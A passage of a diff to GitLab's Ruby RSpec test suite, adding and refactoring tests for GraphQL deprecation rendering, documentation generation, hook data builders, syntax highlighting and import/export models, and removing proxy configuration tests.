+ desc = deprecation.edit_description(nil)
+
+ expect(desc).to be_nil
+ end
+ end
+
+ describe '#original_description' do
+ it 'records the description passed to it' do
+ deprecation.edit_description('Some description.')
+
+ expect(deprecation.original_description).to eq('Some description.')
+ end
+ end
+
+ describe '#markdown' do
+ context 'when there is a replacement' do
+ let(:options) { { reason: :renamed, milestone: '10.10', replacement: 'X.y' } }
+
+ context 'when the context is :inline' do
+ it 'renders on one line' do
+ expectation = '**Deprecated** in 10.10. This was renamed. Use: `X.y`.'
+
+ expect(deprecation.markdown).to eq(expectation)
+ expect(deprecation.markdown(context: :inline)).to eq(expectation)
+ end
+ end
+
+ context 'when the context is :block' do
+ it 'renders a warning note' do
+ expectation = <<~MD.chomp
+ WARNING:
+ **Deprecated** in 10.10.
+ This was renamed.
+ Use: `X.y`.
+ MD
+
+ expect(deprecation.markdown(context: :block)).to eq(expectation)
+ end
+ end
+ end
+
+ context 'when there is no replacement' do
+ let(:options) { { reason: 'Removed', milestone: '10.10' } }
+
+ context 'when the context is :inline' do
+ it 'renders on one line' do
+ expectation = '**Deprecated** in 10.10. Removed.'
+
+ expect(deprecation.markdown).to eq(expectation)
+ expect(deprecation.markdown(context: :inline)).to eq(expectation)
+ end
+ end
+
+ context 'when the context is :block' do
+ it 'renders a warning note' do
+ expectation = <<~MD.chomp
+ WARNING:
+ **Deprecated** in 10.10.
+ Removed.
+ MD
+
+ expect(deprecation.markdown(context: :block)).to eq(expectation)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/graphql/docs/renderer_spec.rb b/spec/lib/gitlab/graphql/docs/renderer_spec.rb
index 5afed8c3390..8c0f7aac081 100644
--- a/spec/lib/gitlab/graphql/docs/renderer_spec.rb
+++ b/spec/lib/gitlab/graphql/docs/renderer_spec.rb
@@ -1,32 +1,35 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
RSpec.describe Gitlab::Graphql::Docs::Renderer do
describe '#contents' do
- # Returns a Schema that uses the given `type`
- def mock_schema(type, field_description)
- query_type = Class.new(Types::BaseObject) do
- graphql_name 'Query'
+ let(:template) { Rails.root.join('lib/gitlab/graphql/docs/templates/default.md.haml') }
- field :foo, type, null: true do
- description field_description
+ let(:query_type) do
+ Class.new(Types::BaseObject) { graphql_name 'Query' }.tap do |t|
+ # this keeps type and field_description in scope.
+ t.field :foo, type, null: true, description: field_description do
argument :id, GraphQL::ID_TYPE, required: false, description: 'ID of the object.'
end
end
+ end
- GraphQL::Schema.define(
- query: query_type,
- resolve_type: ->(obj, ctx) { raise 'Not a real schema' }
- )
+ let(:mock_schema) do
+ Class.new(GraphQL::Schema) do
+ def resolve_type(obj, ctx)
+ raise 'Not a real schema'
+ end
+ end
end
- let_it_be(:template) { Rails.root.join('lib/gitlab/graphql/docs/templates/default.md.haml') }
let(:field_description) { 'List of objects.' }
subject(:contents) do
+ mock_schema.query(query_type)
+
described_class.new(
- mock_schema(type, field_description).graphql_definition,
+ mock_schema,
output_dir: nil,
template: template
).contents
@@ -136,6 +139,22 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
null: false,
deprecated: { reason: 'This is deprecated', milestone: '1.10' },
description: 'A description.'
+ field :foo_with_args,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ deprecated: { reason: 'Do not use', milestone: '1.10' },
+ description: 'A description.' do
+ argument :fooity, ::GraphQL::INT_TYPE, required: false, description: 'X'
+ end
+ field :bar,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ description: 'A description.',
+ deprecated: {
+ reason: :renamed,
+ milestone: '1.10',
+ replacement: 'Query.boom'
+ }
end
end
@@ -145,7 +164,40 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
| Field | Type | Description |
| ----- | ---- | ----------- |
- | `foo` **{warning-solid}** | [`String!`](#string) | **Deprecated:** This is deprecated. Deprecated in 1.10. |
+ | `bar` **{warning-solid}** | [`String!`](#string) | **Deprecated** in 1.10. This was renamed. Use: `Query.boom`. |
+ | `foo` **{warning-solid}** | [`String!`](#string) | **Deprecated** in 1.10. This is deprecated. |
+ | `fooWithArgs` **{warning-solid}** | [`String!`](#string) | **Deprecated** in 1.10. Do not use. |
+ DOC
+
+ is_expected.to include(expectation)
+ end
+ end
+
+ context 'when a Query.field is deprecated' do
+ let(:type) { ::GraphQL::INT_TYPE }
+
+ before do
+ query_type.field(
+ name: :bar,
+ type: type,
+ null: true,
+ description: 'A bar',
+ deprecated: { reason: :renamed, milestone: '10.11', replacement: 'Query.foo' }
+ )
+ end
+
+ it 'includes the deprecation' do
+ expectation = <<~DOC
+ ### `bar`
+
+ A bar.
+
+ WARNING:
+ **Deprecated** in 10.11.
+ This was renamed.
+ Use: `Query.foo`.
+
+ Returns [`Int`](#int).
DOC
is_expected.to include(expectation)
diff --git a/spec/lib/gitlab/graphql/loaders/batch_lfs_oid_loader_spec.rb b/spec/lib/gitlab/graphql/loaders/batch_lfs_oid_loader_spec.rb
index ae5d9686c54..35750a87fb5 100644
--- a/spec/lib/gitlab/graphql/loaders/batch_lfs_oid_loader_spec.rb
+++ b/spec/lib/gitlab/graphql/loaders/batch_lfs_oid_loader_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::Graphql::Loaders::BatchLfsOidLoader do
include GraphqlHelpers
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
let(:blob) { Gitlab::Graphql::Representation::TreeEntry.new(repository.blob_at('master', 'files/lfs/lfs_object.iso'), repository) }
let(:otherblob) { Gitlab::Graphql::Representation::TreeEntry.new(repository.blob_at('master', 'README'), repository) }
diff --git a/spec/lib/gitlab/graphql/markdown_field_spec.rb b/spec/lib/gitlab/graphql/markdown_field_spec.rb
index 0e36ea14ac3..44ca23f547c 100644
--- a/spec/lib/gitlab/graphql/markdown_field_spec.rb
+++ b/spec/lib/gitlab/graphql/markdown_field_spec.rb
@@ -57,6 +57,7 @@ RSpec.describe Gitlab::Graphql::MarkdownField do
describe 'basic verification that references work' do
let_it_be(:project) { create(:project, :public) }
+
let(:issue) { create(:issue, project: project) }
let(:note) { build(:note, note: "Referencing #{issue.to_reference(full: true)}") }
diff --git a/spec/lib/gitlab/graphql/negatable_arguments_spec.rb b/spec/lib/gitlab/graphql/negatable_arguments_spec.rb
new file mode 100644
index 00000000000..bc6e25eb018
--- /dev/null
+++ b/spec/lib/gitlab/graphql/negatable_arguments_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Graphql::NegatableArguments do
+ let(:test_resolver) do
+ Class.new(Resolvers::BaseResolver).tap do |klass|
+ klass.extend described_class
+ allow(klass).to receive(:name).and_return('Resolvers::TestResolver')
+ end
+ end
+
+ describe '#negated' do
+ it 'defines :not argument' do
+ test_resolver.negated {}
+
+ expect(test_resolver.arguments['not'].type.name).to eq "Types::TestResolverNegatedParamsType"
+ end
+
+ it 'defines any arguments passed as block' do
+ test_resolver.negated do
+ argument :foo, GraphQL::STRING_TYPE, required: false
+ end
+
+ expect(test_resolver.arguments['not'].type.arguments.keys).to match_array(['foo'])
+ end
+
+ it 'defines all arguments passed as block even if called multiple times' do
+ test_resolver.negated do
+ argument :foo, GraphQL::STRING_TYPE, required: false
+ end
+ test_resolver.negated do
+ argument :bar, GraphQL::STRING_TYPE, required: false
+ end
+
+ expect(test_resolver.arguments['not'].type.arguments.keys).to match_array(%w[foo bar])
+ end
+
+ it 'allows to specify custom argument name' do
+ test_resolver.negated(param_key: :negative) {}
+
+ expect(test_resolver.arguments).to include('negative')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
index 02e67488d3f..839ad9110cc 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
@@ -337,6 +337,7 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
describe '#nodes' do
let_it_be(:all_nodes) { create_list(:project, 5) }
+
let(:paged_nodes) { subject.nodes }
it_behaves_like 'connection with paged nodes' do
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/last_items_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/last_items_spec.rb
index ec2ec4bf50d..792cb03e8c7 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/last_items_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/last_items_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Graphql::Pagination::Keyset::LastItems do
let_it_be(:merge_request) { create(:merge_request) }
+
let(:scope) { MergeRequest.order_merged_at_asc }
subject { described_class.take_items(*args) }
diff --git a/spec/lib/gitlab/graphql/query_analyzers/logger_analyzer_spec.rb b/spec/lib/gitlab/graphql/query_analyzers/logger_analyzer_spec.rb
index 8450396284a..fc723138d88 100644
--- a/spec/lib/gitlab/graphql/query_analyzers/logger_analyzer_spec.rb
+++ b/spec/lib/gitlab/graphql/query_analyzers/logger_analyzer_spec.rb
@@ -3,43 +3,46 @@
require 'spec_helper'
RSpec.describe Gitlab::Graphql::QueryAnalyzers::LoggerAnalyzer do
- subject { described_class.new }
-
- describe '#initial_value' do
- it 'filters out sensitive variables' do
- doc = GraphQL.parse <<-GRAPHQL
- mutation createNote($body: String!) {
- createNote(input: {noteableId: "1", body: $body}) {
- note {
- id
- }
+ let(:initial_value) { analyzer.initial_value(query) }
+ let(:analyzer) { described_class.new }
+ let(:query) { GraphQL::Query.new(GitlabSchema, document: document, context: {}, variables: { body: "some note" }) }
+ let(:document) do
+ GraphQL.parse <<-GRAPHQL
+ mutation createNote($body: String!) {
+ createNote(input: {noteableId: "1", body: $body}) {
+ note {
+ id
}
}
- GRAPHQL
+ }
+ GRAPHQL
+ end
- query = GraphQL::Query.new(GitlabSchema, document: doc, context: {}, variables: { body: "some note" })
+ describe 'variables' do
+ subject { initial_value.fetch(:variables) }
- expect(subject.initial_value(query)[:variables]).to eq('{:body=>"[FILTERED]"}')
- end
+ it { is_expected.to eq('{:body=>"[FILTERED]"}') }
end
describe '#final_value' do
let(:monotonic_time_before) { 42 }
let(:monotonic_time_after) { 500 }
let(:monotonic_time_duration) { monotonic_time_after - monotonic_time_before }
+ let(:memo) { initial_value }
+
+ subject(:final_value) { analyzer.final_value(memo) }
+
+ before do
+ RequestStore.store[:graphql_logs] = nil
- it 'returns a duration in seconds' do
allow(GraphQL::Analysis).to receive(:analyze_query).and_return([4, 2, [[], []]])
allow(Gitlab::Metrics::System).to receive(:monotonic_time).and_return(monotonic_time_before, monotonic_time_after)
allow(Gitlab::GraphqlLogger).to receive(:info)
+ end
- expected_duration = monotonic_time_duration
- memo = subject.initial_value(spy('query'))
-
- subject.final_value(memo)
-
- expect(memo).to have_key(:duration_s)
- expect(memo[:duration_s]).to eq(expected_duration)
+ it 'inserts duration in seconds to memo and sets request store' do
+ expect { final_value }.to change { memo[:duration_s] }.to(monotonic_time_duration)
+ .and change { RequestStore.store[:graphql_logs] }.to([memo])
end
end
end
diff --git a/spec/lib/gitlab/highlight_spec.rb b/spec/lib/gitlab/highlight_spec.rb
index 9271b868e36..1a929373716 100644
--- a/spec/lib/gitlab/highlight_spec.rb
+++ b/spec/lib/gitlab/highlight_spec.rb
@@ -79,6 +79,21 @@ RSpec.describe Gitlab::Highlight do
expect(result).to eq(expected)
end
+
+ context 'when start line number is set' do
+ let(:expected) do
+ %q(<span id="LC10" class="line" lang="diff"><span class="gi">+aaa</span></span>
+<span id="LC11" class="line" lang="diff"><span class="gi">+bbb</span></span>
+<span id="LC12" class="line" lang="diff"><span class="gd">- ccc</span></span>
+<span id="LC13" class="line" lang="diff"> ddd</span>)
+ end
+
+ it 'highlights each line properly' do
+ result = described_class.new(file_name, content).highlight(content, context: { line_number: 10 })
+
+ expect(result).to eq(expected)
+ end
+ end
end
describe 'with CRLF' do
diff --git a/spec/lib/gitlab/hook_data/issue_builder_spec.rb b/spec/lib/gitlab/hook_data/issue_builder_spec.rb
index 8a2395d70b2..8f898d898de 100644
--- a/spec/lib/gitlab/hook_data/issue_builder_spec.rb
+++ b/spec/lib/gitlab/hook_data/issue_builder_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::HookData::IssueBuilder do
let_it_be(:label) { create(:label) }
let_it_be(:issue) { create(:labeled_issue, labels: [label], project: label.project) }
+
let(:builder) { described_class.new(issue) }
describe '#build' do
diff --git a/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb b/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
index fede7f273f1..0339faa9fcf 100644
--- a/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
+++ b/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::HookData::MergeRequestBuilder do
let_it_be(:merge_request) { create(:merge_request) }
+
let(:builder) { described_class.new(merge_request) }
describe '#build' do
diff --git a/spec/lib/gitlab/hook_data/release_builder_spec.rb b/spec/lib/gitlab/hook_data/release_builder_spec.rb
index b630780b162..449965f5df1 100644
--- a/spec/lib/gitlab/hook_data/release_builder_spec.rb
+++ b/spec/lib/gitlab/hook_data/release_builder_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::HookData::ReleaseBuilder do
let_it_be(:project) { create(:project, :public, :repository) }
+
let(:release) { create(:release, project: project) }
let(:builder) { described_class.new(release) }
diff --git a/spec/lib/gitlab/hook_data/user_builder_spec.rb b/spec/lib/gitlab/hook_data/user_builder_spec.rb
new file mode 100644
index 00000000000..f971089850b
--- /dev/null
+++ b/spec/lib/gitlab/hook_data/user_builder_spec.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::HookData::UserBuilder do
+ let_it_be(:user) { create(:user, name: 'John Doe', username: 'johndoe', email: 'john@example.com') }
+
+ describe '#build' do
+ let(:data) { described_class.new(user).build(event) }
+ let(:event_name) { data[:event_name] }
+ let(:attributes) do
+ [
+ :event_name, :created_at, :updated_at, :name, :email, :user_id, :username
+ ]
+ end
+
+ context 'data' do
+ shared_examples_for 'includes the required attributes' do
+ it 'includes the required attributes' do
+ expect(data).to include(*attributes)
+
+ expect(data[:name]).to eq('John Doe')
+ expect(data[:email]).to eq('john@example.com')
+ expect(data[:user_id]).to eq(user.id)
+ expect(data[:username]).to eq('johndoe')
+ expect(data[:created_at]).to eq(user.created_at.xmlschema)
+ expect(data[:updated_at]).to eq(user.updated_at.xmlschema)
+ end
+ end
+
+ shared_examples_for 'does not include old username attributes' do
+ it 'does not include old username attributes' do
+ expect(data).not_to include(:old_username)
+ end
+ end
+
+ shared_examples_for 'does not include state attributes' do
+ it 'does not include state attributes' do
+ expect(data).not_to include(:state)
+ end
+ end
+
+ context 'on create' do
+ let(:event) { :create }
+
+ it { expect(event_name).to eq('user_create') }
+ it_behaves_like 'includes the required attributes'
+ it_behaves_like 'does not include old username attributes'
+ it_behaves_like 'does not include state attributes'
+ end
+
+ context 'on destroy' do
+ let(:event) { :destroy }
+
+ it { expect(event_name).to eq('user_destroy') }
+ it_behaves_like 'includes the required attributes'
+ it_behaves_like 'does not include old username attributes'
+ it_behaves_like 'does not include state attributes'
+ end
+
+ context 'on rename' do
+ let(:event) { :rename }
+
+ it { expect(event_name).to eq('user_rename') }
+ it_behaves_like 'includes the required attributes'
+ it_behaves_like 'does not include state attributes'
+
+ it 'includes old username details' do
+ allow(user).to receive(:username_before_last_save).and_return('old-username')
+
+ expect(data[:old_username]).to eq(user.username_before_last_save)
+ end
+ end
+
+ context 'on failed_login' do
+ let(:event) { :failed_login }
+
+ it { expect(event_name).to eq('user_failed_login') }
+ it_behaves_like 'includes the required attributes'
+ it_behaves_like 'does not include old username attributes'
+
+ it 'includes state details' do
+ user.ldap_block!
+
+ expect(data[:state]).to eq('ldap_blocked')
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/http_connection_adapter_spec.rb b/spec/lib/gitlab/http_connection_adapter_spec.rb
index 96e6e485841..7c57d162e9b 100644
--- a/spec/lib/gitlab/http_connection_adapter_spec.rb
+++ b/spec/lib/gitlab/http_connection_adapter_spec.rb
@@ -124,130 +124,5 @@ RSpec.describe Gitlab::HTTPConnectionAdapter do
expect(connection.port).to eq(443)
end
end
-
- context 'when proxy settings are configured' do
- let(:options) do
- {
- http_proxyaddr: 'https://proxy.org',
- http_proxyport: 1557,
- http_proxyuser: 'user',
- http_proxypass: 'pass'
- }
- end
-
- before do
- stub_all_dns('https://proxy.org', ip_address: '166.84.12.54')
- end
-
- it 'sets up the proxy settings' do
- expect(connection.proxy_address).to eq('https://166.84.12.54')
- expect(connection.proxy_port).to eq(1557)
- expect(connection.proxy_user).to eq('user')
- expect(connection.proxy_pass).to eq('pass')
- end
-
- context 'when the address has path' do
- before do
- options[:http_proxyaddr] = 'https://proxy.org/path'
- end
-
- it 'sets up the proxy settings' do
- expect(connection.proxy_address).to eq('https://166.84.12.54/path')
- expect(connection.proxy_port).to eq(1557)
- end
- end
-
- context 'when the port is in the address and port' do
- before do
- options[:http_proxyaddr] = 'https://proxy.org:1422'
- end
-
- it 'sets up the proxy settings' do
- expect(connection.proxy_address).to eq('https://166.84.12.54')
- expect(connection.proxy_port).to eq(1557)
- end
-
- context 'when the port is only in the address' do
- before do
- options[:http_proxyport] = nil
- end
-
- it 'sets up the proxy settings' do
- expect(connection.proxy_address).to eq('https://166.84.12.54')
- expect(connection.proxy_port).to eq(1422)
- end
- end
- end
-
- context 'when it is a request to local network' do
- before do
- options[:http_proxyaddr] = 'http://172.16.0.0/12'
- end
-
- it 'raises error' do
- expect { subject }.to raise_error(
- Gitlab::HTTP::BlockedUrlError,
- "URL 'http://172.16.0.0:1557/12' is blocked: Requests to the local network are not allowed"
- )
- end
-
- context 'when local request allowed' do
- before do
- options[:allow_local_requests] = true
- end
-
- it 'sets up the connection' do
- expect(connection.proxy_address).to eq('http://172.16.0.0/12')
- expect(connection.proxy_port).to eq(1557)
- end
- end
- end
-
- context 'when it is a request to local address' do
- before do
- options[:http_proxyaddr] = 'http://127.0.0.1'
- end
-
- it 'raises error' do
- expect { subject }.to raise_error(
- Gitlab::HTTP::BlockedUrlError,
- "URL 'http://127.0.0.1:1557' is blocked: Requests to localhost are not allowed"
- )
- end
-
- context 'when local request allowed' do
- before do
- options[:allow_local_requests] = true
- end
-
- it 'sets up the connection' do
- expect(connection.proxy_address).to eq('http://127.0.0.1')
- expect(connection.proxy_port).to eq(1557)
- end
- end
- end
-
- context 'when http(s) environment variable is set' do
- before do
- stub_env('https_proxy' => 'https://my.proxy')
- end
-
- it 'sets up the connection' do
- expect(connection.proxy_address).to eq('https://proxy.org')
- expect(connection.proxy_port).to eq(1557)
- end
- end
-
- context 'when DNS rebinding protection is disabled' do
- before do
- stub_application_setting(dns_rebinding_protection_enabled: false)
- end
-
- it 'sets up the connection' do
- expect(connection.proxy_address).to eq('https://proxy.org')
- expect(connection.proxy_port).to eq(1557)
- end
- end
- end
end
end
diff --git a/spec/lib/gitlab/import_export/all_models.yml b/spec/lib/gitlab/import_export/all_models.yml
index 37b43066a62..5d1e3c79474 100644
--- a/spec/lib/gitlab/import_export/all_models.yml
+++ b/spec/lib/gitlab/import_export/all_models.yml
@@ -256,6 +256,8 @@ ci_pipelines:
- messages
- pipeline_artifacts
- latest_statuses
+- dast_profile
+- dast_profiles_pipeline
ci_refs:
- project
- ci_pipelines
@@ -269,6 +271,7 @@ stages:
- builds
- bridges
- latest_statuses
+- retried_statuses
statuses:
- project
- pipeline
@@ -740,3 +743,5 @@ status_page_published_incident:
- issue
issuable_sla:
- issue
+push_rule:
+ - group
diff --git a/spec/lib/gitlab/import_export/design_repo_saver_spec.rb b/spec/lib/gitlab/import_export/design_repo_saver_spec.rb
index 5501e3dee5a..fd3539ab99c 100644
--- a/spec/lib/gitlab/import_export/design_repo_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/design_repo_saver_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::ImportExport::DesignRepoSaver do
describe 'bundle a design Git repo' do
let_it_be(:user) { create(:user) }
let_it_be(:design) { create(:design, :with_file, versions_count: 1) }
+
let!(:project) { create(:project, :design_repo) }
let(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" }
let(:shared) { project.import_export_shared }
diff --git a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
index d084b9d7f7e..29b192de809 100644
--- a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
+++ b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe Gitlab::ImportExport::FastHashSerializer do
let_it_be(:user) { create(:user) }
let_it_be(:project) { setup_project }
+
let(:shared) { project.import_export_shared }
let(:reader) { Gitlab::ImportExport::Reader.new(shared: shared) }
let(:tree) { reader.project_tree }
diff --git a/spec/lib/gitlab/import_export/project/export_task_spec.rb b/spec/lib/gitlab/import_export/project/export_task_spec.rb
index 1048379a5d6..7fcd2187a90 100644
--- a/spec/lib/gitlab/import_export/project/export_task_spec.rb
+++ b/spec/lib/gitlab/import_export/project/export_task_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::ImportExport::Project::ExportTask do
let_it_be(:username) { 'root' }
let(:namespace_path) { username }
let_it_be(:user) { create(:user, username: username) }
+
let(:measurement_enabled) { false }
let(:file_path) { 'spec/fixtures/gitlab/import_export/test_project_export.tar.gz' }
let(:project) { create(:project, creator: user, namespace: user.namespace) }
diff --git a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
index e2bf87bf29f..bc5e6ea7bb3 100644
--- a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
@@ -684,7 +684,7 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
it 'overrides project feature access levels' do
access_level_keys = ProjectFeature.available_features.map { |feature| ProjectFeature.access_level_attribute(feature) }
- disabled_access_levels = Hash[access_level_keys.collect { |item| [item, 'disabled'] }]
+ disabled_access_levels = access_level_keys.to_h { |item| [item, 'disabled'] }
project.create_import_data(data: { override_params: disabled_access_levels })
diff --git a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
index 50494433c5d..fd6c66a10a7 100644
--- a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
@@ -267,6 +267,7 @@ RSpec.describe Gitlab::ImportExport::Project::TreeSaver do
describe '#saves project tree' do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
+
let(:project) { setup_project }
let(:full_path) do
if ndjson_enabled
diff --git a/spec/lib/gitlab/import_export/repo_saver_spec.rb b/spec/lib/gitlab/import_export/repo_saver_spec.rb
index 52001e778d6..73e0e0a08b9 100644
--- a/spec/lib/gitlab/import_export/repo_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/repo_saver_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::ImportExport::RepoSaver do
describe 'bundle a project Git repo' do
let_it_be(:user) { create(:user) }
+
let!(:project) { create(:project, :repository) }
let(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" }
let(:shared) { project.import_export_shared }
diff --git a/spec/lib/gitlab/import_export/snippet_repo_saver_spec.rb b/spec/lib/gitlab/import_export/snippet_repo_saver_spec.rb
index 323ed9a746e..9f3e8d2fa86 100644
--- a/spec/lib/gitlab/import_export/snippet_repo_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/snippet_repo_saver_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::ImportExport::SnippetRepoSaver do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, namespace: user.namespace) }
let_it_be(:snippet) { create(:project_snippet, :repository, project: project, author: user) }
+
let(:shared) { project.import_export_shared }
let(:bundler) { described_class.new(project: project, shared: shared, repository: snippet.repository) }
let(:bundle_path) { ::Gitlab::ImportExport.snippets_repo_bundle_path(shared.export_path) }
diff --git a/spec/lib/gitlab/import_export/snippets_repo_saver_spec.rb b/spec/lib/gitlab/import_export/snippets_repo_saver_spec.rb
index 8507c46ec83..aa284c60e73 100644
--- a/spec/lib/gitlab/import_export/snippets_repo_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/snippets_repo_saver_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::ImportExport::SnippetsRepoSaver do
describe 'bundle a project Git repo' do
let_it_be(:user) { create(:user) }
+
let!(:project) { create(:project) }
let(:shared) { project.import_export_shared }
let(:bundler) { described_class.new(current_user: user, project: project, shared: shared) }
diff --git a/spec/lib/gitlab/import_export/wiki_repo_saver_spec.rb b/spec/lib/gitlab/import_export/wiki_repo_saver_spec.rb
index 540f90e7804..c936d2bc27d 100644
--- a/spec/lib/gitlab/import_export/wiki_repo_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/wiki_repo_saver_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::ImportExport::WikiRepoSaver do
describe 'bundle a wiki Git repo' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :wiki_repo) }
+
let(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" }
let(:shared) { project.import_export_shared }
let(:wiki_bundler) { described_class.new(exportable: project, shared: shared) }
diff --git a/spec/lib/gitlab/instrumentation_helper_spec.rb b/spec/lib/gitlab/instrumentation_helper_spec.rb
index a5c9cde4c37..488324ccddc 100644
--- a/spec/lib/gitlab/instrumentation_helper_spec.rb
+++ b/spec/lib/gitlab/instrumentation_helper_spec.rb
@@ -6,53 +6,6 @@ require 'rspec-parameterized'
RSpec.describe Gitlab::InstrumentationHelper do
using RSpec::Parameterized::TableSyntax
- describe '.keys' do
- it 'returns all available payload keys' do
- expected_keys = [
- :cpu_s,
- :gitaly_calls,
- :gitaly_duration_s,
- :rugged_calls,
- :rugged_duration_s,
- :elasticsearch_calls,
- :elasticsearch_duration_s,
- :elasticsearch_timed_out_count,
- :mem_objects,
- :mem_bytes,
- :mem_mallocs,
- :redis_calls,
- :redis_duration_s,
- :redis_read_bytes,
- :redis_write_bytes,
- :redis_action_cable_calls,
- :redis_action_cable_duration_s,
- :redis_action_cable_read_bytes,
- :redis_action_cable_write_bytes,
- :redis_cache_calls,
- :redis_cache_duration_s,
- :redis_cache_read_bytes,
- :redis_cache_write_bytes,
- :redis_queues_calls,
- :redis_queues_duration_s,
- :redis_queues_read_bytes,
- :redis_queues_write_bytes,
- :redis_shared_state_calls,
- :redis_shared_state_duration_s,
- :redis_shared_state_read_bytes,
- :redis_shared_state_write_bytes,
- :db_count,
- :db_write_count,
- :db_cached_count,
- :external_http_count,
- :external_http_duration_s,
- :rack_attack_redis_count,
- :rack_attack_redis_duration_s
- ]
-
- expect(described_class.keys).to eq(expected_keys)
- end
- end
-
describe '.add_instrumentation_data', :request_store do
let(:payload) { {} }
diff --git a/spec/lib/gitlab/jira_import/base_importer_spec.rb b/spec/lib/gitlab/jira_import/base_importer_spec.rb
index 1470bad2c4c..9d8143775f9 100644
--- a/spec/lib/gitlab/jira_import/base_importer_spec.rb
+++ b/spec/lib/gitlab/jira_import/base_importer_spec.rb
@@ -27,6 +27,7 @@ RSpec.describe Gitlab::JiraImport::BaseImporter do
context 'when import data exists' do
let_it_be(:project) { create(:project) }
let_it_be(:jira_import) { create(:jira_import_state, project: project) }
+
let(:subject) { described_class.new(project) }
context 'when #imported_items_cache_key is not implemented' do
diff --git a/spec/lib/gitlab/jira_import/handle_labels_service_spec.rb b/spec/lib/gitlab/jira_import/handle_labels_service_spec.rb
index 4e2c5afb077..b8c0dc64581 100644
--- a/spec/lib/gitlab/jira_import/handle_labels_service_spec.rb
+++ b/spec/lib/gitlab/jira_import/handle_labels_service_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe Gitlab::JiraImport::HandleLabelsService do
let_it_be(:project_label) { create(:label, project: project, title: 'bug') }
let_it_be(:other_project_label) { create(:label, title: 'feature') }
let_it_be(:group_label) { create(:group_label, group: group, title: 'dev') }
+
let(:jira_labels) { %w(bug feature dev group::new) }
subject { described_class.new(project, jira_labels).execute }
diff --git a/spec/lib/gitlab/jira_import_spec.rb b/spec/lib/gitlab/jira_import_spec.rb
index 2b602c80640..94fdff984d5 100644
--- a/spec/lib/gitlab/jira_import_spec.rb
+++ b/spec/lib/gitlab/jira_import_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Gitlab::JiraImport do
include JiraServiceHelper
let_it_be(:project, reload: true) { create(:project) }
+
let(:additional_params) { {} }
subject { described_class.validate_project_settings!(project, **additional_params) }
diff --git a/spec/lib/gitlab/json_spec.rb b/spec/lib/gitlab/json_spec.rb
index 59ec94f2855..42c4b315edf 100644
--- a/spec/lib/gitlab/json_spec.rb
+++ b/spec/lib/gitlab/json_spec.rb
@@ -348,6 +348,66 @@ RSpec.describe Gitlab::Json do
subject
end
end
+
+ context "precompiled JSON" do
+ let(:obj) { Gitlab::Json::PrecompiledJson.new(result) }
+
+ it "renders the string directly" do
+ expect(subject).to eq(result)
+ end
+
+ it "calls #to_s on the object" do
+ expect(obj).to receive(:to_s).once
+
+ subject
+ end
+
+ it "doesn't run the JSON formatter" do
